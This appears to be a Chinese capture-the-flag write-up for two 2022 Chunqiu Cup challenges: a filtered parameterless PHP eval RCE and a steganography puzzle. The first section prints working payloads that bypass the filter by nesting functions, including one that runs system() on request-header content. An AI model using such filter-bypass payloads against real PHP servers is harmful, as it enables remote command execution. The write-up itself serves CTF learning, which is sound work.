Mercy-code

无参数RCE,过滤了很多

解法一

<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {$cmd = $_POST['cmd'];if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i', $cmd)) {die('What are you thinking?');} else {eval($cmd);}} else {die('Please calm down');}
}

只允许无参数函数,但是可以嵌套

/[a-z_]+\((?R)?\)/

过滤了一大堆

file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord

带get的带session的都不行了

带print也不行 ,可利用的都ban了,16进制转也不行

目的还是得到 . 然后用scandir(.) , chr(46) 就是 . 所以现在就是要得到46

用echo 来读目录 ,end 是最后一个数组

echo(ceil(sinh(cosh(tan(chr(floor(sinh(cosh(tan(cosh(tan(sinh(tan(tan(cosh(cosh(tan(sinh(floor(cosh(cosh(cosh(tan(tan(cosh(sinh(tan(cosh(tan(cosh(tan(floor(sinh(cosh(tan(floor(cosh(tan(tan(end(apache_request_headers())))))))))))))))))))))))))))))))))))))))));
cmd=echo(end(scandir(chr(ceil(sinh(cosh(tan(chr(floor(sinh(cosh(tan(cosh(tan(sinh(tan(tan(cosh(cosh(tan(sinh(floor(cosh(cosh(cosh(tan(tan(cosh(sinh(tan(cosh(tan(cosh(tan(floor(sinh(cosh(tan(floor(cosh(tan(tan(end(apache_request_headers()))))))))))))))))))))))))))))))))))))))))))));

最后的读取:

更多无参数RCE解读:https://blog.csdn.net/a3320315/article/details/102989485/

解法二

解法三

Payload:echo(implode(scandir(chr(strrev(uniqid())))));
Payload:cmd=system(strrev(implode(apache_request_headers())));

tiger

pngkey进行rot47得到

28a217fe

然后解密:cloacked-pixel

python lsb.py extract 1.png key.txt 28a217fe

拿到密码:71zr9H6jnXRHn64WBxMbCzz16saCZWiw

解开压缩包,看起来是明文攻击,密码Nh6i@=

解开是一个二维码

扫出来才一点点,肯定是0宽隐写

再维吉尔解密一下就可以了

【2022春秋杯】两个题wp相关推荐

  1. 2022春秋杯 勇者山峰 Misc-Tiger WP

    拿到题目如下: 首先打开tips.txt文档: 提示了两点: 1.rot 47加密 2.lsb图片隐写 再打开另一个文档 对里面的内容进行rot47解密得到lsb隐写的密码:28a217fe 对于ls ...

  2. 2022春秋杯-春季赛 勇者山峰 writeup(misc全部+web签到)

    2022春秋杯-春季赛 勇者山峰 writeup(misc全部+web签到) 改改比赛wp发上来 本文来自csdn的⭐️shu天⭐️,平时会记录ctf.取证和渗透相关的文章,欢迎大家来我的主页:shu ...

  3. 2022春秋杯联赛 传说殿堂赛道 sql_debug题目解析

    2022春秋杯联赛 传说殿堂赛道 sql_debug题目解析 前言 sql_debug sql_debug 题⽬介绍 dsn_from_uri 触发phar反序列化 Linux下PHP内核调试⼩知识 ...

  4. Android逆向writeup,【技术分享】春秋杯逆向第一题writeup

    最近被春秋杯逆向题坑了两天,记录一下解题过程. 程序一运行,就弹个控制台窗口,啥也没有,拖进IDA看了才知道,是在等待用户输入验证的key: 程序的主框架很简单,就是一运行后初始化一些数据,等待用户输 ...

  5. 2022年暑期CTF刷题WP(停止更新)

    目录 攻防世界 MISC simple_transfer Reverse simple-unpack logmein getit Bugku MISC 社工-进阶收集 这篇博客用来记录我(一个菜鸡)2 ...

  6. 2022亚太杯建模C题思路 : 是否全球变暖?小美赛数学建模 C题思路

    1 C题:是否全球变暖? 加拿大的49.6°C创造了地球北纬50°以上地区的气温新纪录,一周内数百人死于高温:美国加利福尼亚州是54.4°C,这是有史以来地球上记录的最高温度:科威特53.5°C,甚至 ...

  7. 2022春秋杯-被带走的机密文件

    Misc-被带走的机密文件 正经取证题,没有任何套娃成分,请师傅们放心食用.(附件较大.) 题目给了一个E01镜像 使用取证大师(也有不使用的方法,并且并不是完全依靠取证大师)打开自动取证先简单进行信 ...

  8. 2021年“春秋杯”新年欢乐赛--十二宫的挑衅

    前言 没怎么打,随便玩了一下.发现有一道十二宫杀手密码比较有趣.总结一下 题目说明 标题:十二宫的挑衅 题目文件:Twelve_palaces_of_serial_killers.png(翻译:十二宫 ...

  9. 2022蓝帽杯初赛电子取证

    手机取证  1. 627604C2-C586-48C1-AA16-FF33C3022159.PNG图片的分辨率是?[答案格式:19201080] 360360 直接搜索-表格视图 2. 姜总的快递单号 ...

最新文章

  1. Linux和Windows下使用printf的差别
  2. Mysql主从延时解决办法
  3. Kali Linux 秘籍 第五章 漏洞评估
  4. ODBC访问数据库(转载)
  5. docker 部署 redmine 项目管理软件
  6. 计算机网络调试+定额,第一章-计算机网络系统设备安装工程-定额.doc
  7. linux服务器python安装
  8. 动态NAT64实验配置
  9. HDU 4889 Scary Path Finding Algorithm
  10. 用python祝福父亲节_父亲节送给父亲的祝福语,挑一句话发朋友圈!
  11. agx上搭建ros2
  12. 导入导出专栏(poi,jxls)
  13. 开业两月有余的转转二手集市怎么没有声音了?
  14. 科技“蝶变”,两轮电动车下一个五年的“新动力”
  15. 一款免费的PDF转换工具-LightPDF完美版(PDF编辑器) 最新版
  16. 吉尔伯特定律(转载)
  17. 小程序分享功能怎么做_微信电影小程序怎么做?微信电影小程序项目收益图分享...
  18. 【笔试面试】HR面的面试技巧
  19. 数据结构之中缀表达式计算
  20. vue如何实现在页面上画画_Vue使用Canvas绘制图片、矩形、线条、文字,下载图片...

热门文章

  1. python设置画布大小_python-Tkinter画布自动调整大小
  2. MySQL主从之GTID主从
  3. 机票价格按照淡季旺季、头等舱和经济舱收费、输入机票原价、月份和头等舱或经济舱。按照如下规则计算机票价格:旺季(5-10月)头等舱9折,经济舱8.5折,淡季(11月到来年4月)头等舱7折,经济舱6.5折
  4. Kubernetes 部署高可用集群(二进制,v1.18)下
  5. Java的API(Scanner\Object\Date区\Math\Random\Arrays\String区\regex\包装类...)一般是parse(String)
  6. 通过WebView实现简单的浏览器
  7. alertmanager 简介
  8. 【盘点大系】《盘点5月份--2018》
  9. EndNote X7使用笔记
  10. 程序猿和测试媛——组合在一起的原因